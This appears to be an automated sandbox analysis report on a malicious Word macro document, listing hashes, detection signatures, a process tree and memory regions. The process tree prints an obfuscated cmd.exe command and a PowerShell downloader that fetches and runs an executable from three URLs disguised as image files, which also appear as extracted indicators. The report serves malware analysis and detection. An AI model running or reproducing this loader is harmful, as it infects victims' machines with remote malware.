Resubmissions

24-07-2023 06:32

230724-haylwaag65 10

16-07-2023 18:15

230716-wwbacshb7z 10

Analysis

  • max time kernel
    101s
  • max time network
    67s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2023 06:32

General

  • Target

    2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc

  • Size

    181KB

  • MD5

    5f894602e88263e34dcdbb2eb2da3078

  • SHA1

    c4b7c33fd3ff360cee29eaa67705dc79e4a24fdb

  • SHA256

    2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade

  • SHA512

    7c5c71e599c360e43e134e0a0982bf36a1c1503956b4b72654bac8777d5cfb2417602db88fe225ef53f4b674ac22d187c951cd3519cbd628527c8880ea63cff1

  • SSDEEP

    1536:fe/zONq+YIv920aPPg8cmg8/TtMO80mlop3KGyIs+aiyLZMcj0TCYkd3gPdz1TW2:WoVBaPPg87gi8Bo7OwTkxmz1Cz/ptM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png

exe.dropper

https://www.cornink.com/wp-content/templates/dzsttm.png

exe.dropper

https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2860
      • C:\Windows\SysWOW64\Cmd.exe
        Cmd VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\SysWOW64\cmd.exe
          cMD , , /V:oN , /r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:3024
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell $jVD=new-object Net.WebClient;$CqB='https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png@https://www.cornink.com/wp-content/templates/dzsttm.png@https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png'.Split('@');$EXi = '696';$sRi=$env:temp+'\'+$EXi+'.exe';foreach($HNh in $CqB){try{$jVD.DownloadFile($HNh, $sRi);Start-Process $sRi;break;}catch{}}
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2072

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      ce818d5745f70fa489d606444a5a5320

      SHA1

      4ce8fbfb90a648b2e108d99684fa82b3506e94f0

      SHA256

      5cc412452f3bc99add76e1e05dbc22a6347acba386ba72a70351ec08712b644c

      SHA512

      84919e008a738511161881c768dc3e9ee793de13f9dd500379daf9c9b4b1077bb0d81718364806f1d0319ccd574fc9e64fa789b5c7246c4e9343633b2b6dd48d

    • memory/2072-123-0x000000006ABE0000-0x000000006B18B000-memory.dmp
      Filesize

      5MB

    • memory/2072-124-0x000000006ABE0000-0x000000006B18B000-memory.dmp
      Filesize

      5MB

    • memory/2072-125-0x0000000002410000-0x0000000002450000-memory.dmp
      Filesize

      256KB

    • memory/2072-126-0x0000000002410000-0x0000000002450000-memory.dmp
      Filesize

      256KB

    • memory/2072-127-0x0000000002410000-0x0000000002450000-memory.dmp
      Filesize

      256KB

    • memory/2072-139-0x000000006ABE0000-0x000000006B18B000-memory.dmp
      Filesize

      5MB

    • memory/2072-138-0x0000000002410000-0x0000000002450000-memory.dmp
      Filesize

      256KB

    • memory/2072-137-0x0000000002410000-0x0000000002450000-memory.dmp
      Filesize

      256KB

    • memory/2072-136-0x000000006ABE0000-0x000000006B18B000-memory.dmp
      Filesize

      5MB

    • memory/2808-88-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-96-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-63-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-65-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-66-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-68-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-67-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-69-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-70-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-72-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-73-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-75-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-76-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-77-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-74-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-80-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-81-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-79-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-82-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-83-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-78-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-71-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-84-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-85-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-86-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-87-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-62-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-89-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-90-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-91-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-94-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-93-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-95-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-64-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-97-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-98-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-100-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-101-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-104-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-102-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-105-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-108-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-103-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-111-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-112-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-113-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-115-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-116-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-117-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-114-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-109-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-92-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-119-0x000000002FDE0000-0x000000002FF3D000-memory.dmp
      Filesize

      1MB

    • memory/2808-122-0x000000007134D000-0x0000000071358000-memory.dmp
      Filesize

      44KB

    • memory/2808-128-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-133-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-134-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-135-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-61-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-60-0x0000000000410000-0x0000000000510000-memory.dmp
      Filesize

      1024KB

    • memory/2808-56-0x000000007134D000-0x0000000071358000-memory.dmp
      Filesize

      44KB

    • memory/2808-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2808-54-0x000000002FDE0000-0x000000002FF3D000-memory.dmp
      Filesize

      1MB

    • memory/2808-154-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2808-155-0x000000007134D000-0x0000000071358000-memory.dmp
      Filesize

      44KB